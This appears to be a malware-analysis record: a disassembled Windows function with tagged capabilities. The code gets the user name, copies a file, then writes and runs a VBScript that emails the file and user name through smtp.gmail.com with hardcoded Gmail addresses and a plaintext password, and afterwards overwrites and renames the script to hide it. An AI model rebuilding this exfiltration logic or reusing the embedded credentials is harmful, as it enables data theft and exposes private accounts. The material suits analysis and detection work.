Function at 0x180107197
Capabilities:
Check internet connectivity via wininet
Copy file
Create process on windows
Get session user name

Disassembly:
jmp 0x18012cd80
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x7f8
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x1fe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x818]
mov qword [rbp + 0x798], 0xfffffffffffffffe
mov rax, qword [0x1803bb0a8]
xor rax, rbp
mov qword [rbp + 0x7a8], rax
lea rcx, [0x1803e7045]
call fcn.18010520c
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x18012ce0d
lea rdx, [0x180334788]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0xffffffff
jmp 0x18012defe
lea rcx, [rbp + 8]
call fcn.18010cb24
nop
lea rcx, [rbp + 0x48]
call fcn.18010cb24
nop
lea rcx, [rbp + 0x88]
call fcn.18010cb24
nop
mov dword [rbp + 0x214], 0x14
lea rdx, [rbp + 0x214]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rdx, qword [rbp + 0x7d8]
lea rcx, [rbp + 0x88]
call fcn.18010521b
lea rdx, [0x1803347b8]
lea rcx, [rbp + 0x48]
call fcn.18010521b
cmp dword [rbp + 0x7d0], 3
jne 0x18012ceab
lea rdx, [0x1803347d8]
lea rcx, [rbp + 0x48]
call fcn.18010521b
lea rdx, [0x1803347f8]
lea rcx, [rbp + 8]
call fcn.18010521b
lea rdx, [0x1803c06d0]
lea rcx, [rbp + 0x88]
call fcn.18010521b
cmp dword [rbp + 0x7d0], 3
jne 0x18012cf03
lea rdx, [0x18033412c]
lea rcx, [0x1803c1460]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012cf03
mov dword [rbp + 0x6f4], 0
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x6f4]
jmp 0x18012defe
cmp dword [rbp + 0x7d0], 2
jne 0x18012cf3f
lea rdx, [0x180334820]
lea rcx, [rbp + 0x48]
call fcn.18010521b
lea rdx, [0x180334848]
lea rcx, [rbp + 8]
call fcn.18010521b
lea rdx, [0x1803c06d0]
lea rcx, [rbp + 0x88]
call fcn.18010521b
cmp dword [rbp + 0x7d0], 2
jne 0x18012cf97
lea rdx, [0x18033412c]
lea rcx, [0x1803c14d8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012cf97
mov dword [rbp + 0x714], 0
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x714]
jmp 0x18012defe
cmp dword [rbp + 0x7d0], 1
jne 0x18012cfb0
lea rdx, [0x180334860]
lea rcx, [rbp + 8]
call fcn.18010521b
cmp dword [rbp + 0x7d0], 1
jne 0x18012d008
lea rdx, [0x18033412c]
lea rcx, [0x1803c1438]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012d008
mov dword [rbp + 0x734], 0
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x734]
jmp 0x18012defe
cmp dword [rbp + 0x7d0], 0
jne 0x18012d021
lea rdx, [0x180334930]
lea rcx, [rbp + 8]
call fcn.18010521b
cmp dword [rbp + 0x7d0], 0
jne 0x18012d079
lea rdx, [0x18033412c]
lea rcx, [0x1803c18b0]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012d079
mov dword [rbp + 0x754], 0
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x754]
jmp 0x18012defe
lea rcx, [rbp + 0x88]
call fcn.18010b01c
xor r8d, r8d
lea rdx, str.Reserve.txt
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x18012d0ae
cmp dword [rbp + 0x7d0], 0
je 0x18012d0c4
cmp dword [rbp + 0x7d0], 2
je 0x18012d0c4
cmp dword [rbp + 0x7d0], 1
je 0x18012d0c4
cmp dword [rbp + 0x7d0], 3
jne 0x18012d71e
lea rdx, [0x180334130]
lea rcx, [0x1803c1528]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012d71e
mov edx, 0x108
lea rcx, [rbp + 0x240]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Contact_Administrator.vbs
lea rcx, [rbp + 0x240]
call fcn.1801070f7
nop
mov rax, qword [rbp + 0x240]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x240]
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x18012d6ea
lea rdx, str.Option_Explicit
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.On_Error_Resume_Next
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_FromAddress___CAIOS72410_gmail.com_
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_ToAddress___matsumotodaichi0922_gmail.com_
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_AttachPath___
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1803c0cb0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180334a6c]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_PassWord___matsumo9220_
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Dim_objMail_As_CDO.Message
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Set_objMail__CreateObject__CDO.Message__
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.From__FromAddress
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.To__ToAddress
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180334b68]
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180334b58]
mov rcx, rax
call fcn.1801068a0
lea rdx, [rbp + 0xd0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180334b54]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180334b80]
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180334a6c]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.AddAttachment_AttachPath
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_sendUsingLocalSmtp__1__sendUsingNetworkSmtp__2__sendUsingExchange__3
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_smtpAuthTypeBasic__1__smtpAuthTypeNTLM__2
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_gmailSmptSever___smtp.gmail.com_
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_gmailSmtpPortSSL__465__gmailSmtpPortTLS__587
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_strConfigurationField___http:__schemas.microsoft.com_cdo_configuration__
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.With_objMail.Configuration.Fields
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendusing____sendUsingNetworkSmtp
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpserver____gmailSmptSever
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpserverport____gmailSmtpPortSSL
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpusessl____True
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpauthenticate____smtpAuthTypeBasic
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendusername____FromAddress
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendpassword____PassWord
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpconnectiontimeout____60
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Update
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.End_With
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Call_objMail.Send
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x240]
call fcn.18010a60d
lea rcx, [rbp + 0x240]
call fcn.18010c813
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.Contact_Administrator.vbs
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Contact_Administrator.vbs
lea rcx, [rbp + 0x240]
call fcn.180105676
lea rdx, str.This_file_has_already_finished_its_work.
lea rcx, [rbp + 0x240]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x240]
call fcn.18010c813
lea rdx, str.Already_used.old
lea rcx, str.Contact_Administrator.vbs
call fcn.18010cf25
test eax, eax
jne 0x18012d694
lea rcx, str.Already_used.old
call fcn.18010b9ae
test eax, eax
je 0x18012d692
lea rdx, [0x180335060]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x18012d6e8
lea rdx, [0x180335098]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, str.Contact_Administrator.vbs
call fcn.18010b9ae
test eax, eax
je 0x18012d6e8
lea rdx, [0x180335060]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x18012d70d
lea rdx, [0x1803350d0]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x240]
call fcn.180107f70
jmp 0x18012d7c2
mov qword [rbp + 0x368], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rbp + 0x368]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1100
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [0x180335108]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.ERROR
lea rcx, [0x1803c15f0]
call fcn.1801068a0
mov rdx, qword [rbp + 0x368]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x88]
call fcn.18010b01c
xor r8d, r8d
lea rdx, str.Reserve.txt
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x18012d7ee
cmp dword [rbp + 0x7d0], 0
je 0x18012d7fb
cmp dword [rbp + 0x7d0], 1
jne 0x18012dece
lea rdx, [0x180334130]
lea rcx, [0x1803c16f8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012dece
mov edx, 0x108
lea rcx, [rbp + 0x390]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Contact_Administrator.vbs
lea rcx, [rbp + 0x390]
call fcn.1801070f7
nop
mov rax, qword [rbp + 0x390]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x390]
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x18012de81
lea rdx, str.Option_Explicit
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.On_Error_Resume_Next
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_FromAddress___CAIOS72410_gmail.com_
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_ToAddress___
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1803c1810]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180334a6c]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_AttachPath___
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1803c0cb0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180334a6c]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_PassWord___matsumo9220_
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Dim_objMail_As_CDO.Message
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Set_objMail__CreateObject__CDO.Message__
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.From__FromAddress
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.To__ToAddress
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180335160]
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [rbp + 0xd0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180334b54]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180334b80]
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180334a6c]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.objMail.AddAttachment_AttachPath
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_sendUsingLocalSmtp__1__sendUsingNetworkSmtp__2__sendUsingExchange__3
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_smtpAuthTypeBasic__1__smtpAuthTypeNTLM__2
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_gmailSmptSever___smtp.gmail.com_
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_gmailSmtpPortSSL__465__gmailSmtpPortTLS__587
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Const_strConfigurationField___http:__schemas.microsoft.com_cdo_configuration__
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.With_objMail.Configuration.Fields
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendusing____sendUsingNetworkSmtp
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpserver____gmailSmptSever
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpserverport____gmailSmtpPortSSL
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpusessl____True
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpauthenticate____smtpAuthTypeBasic
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendusername____FromAddress
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___sendpassword____PassWord
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Item_strConfigurationField___smtpconnectiontimeout____60
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str..Update
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.End_With
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.Call_objMail.Send
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x390]
call fcn.18010a60d
lea rcx, [rbp + 0x390]
call fcn.18010c813
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.Contact_Administrator.vbs
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Contact_Administrator.vbs
lea rcx, [rbp + 0x390]
call fcn.180105676
lea rdx, str.This_file_has_already_finished_its_work.
lea rcx, [rbp + 0x390]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x390]
call fcn.18010c813
lea rdx, str.Already_used.old
lea rcx, str.Contact_Administrator.vbs
call fcn.18010cf25
test eax, eax
jne 0x18012ddef
lea rcx, str.Already_used.old
call fcn.18010b9ae
test eax, eax
je 0x18012ddea
lea rdx, [0x1803351c8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1810]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1803351a0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x18012de7f
lea rdx, [0x1803351c8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1810]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1803351d0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, str.Contact_Administrator.vbs
call fcn.18010b9ae
test eax, eax
je 0x18012de7f
lea rdx, [0x1803351c8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1810]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1803351a0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x18012dec2
lea rdx, [0x1803351c8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1810]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180335200]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x390]
call fcn.180107f70
mov dword [rbp + 0x774], 0
lea rcx, [rbp + 0x88]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x48]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov eax, dword [rbp + 0x774]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x18032d930]
call fcn.18010bfdf
mov rax, rdi
mov rcx, qword [rbp + 0x7a8]
xor rcx, rbp
call fcn.180105df6
lea rsp, [rbp + 0x7b8]
pop rdi
pop rbp
ret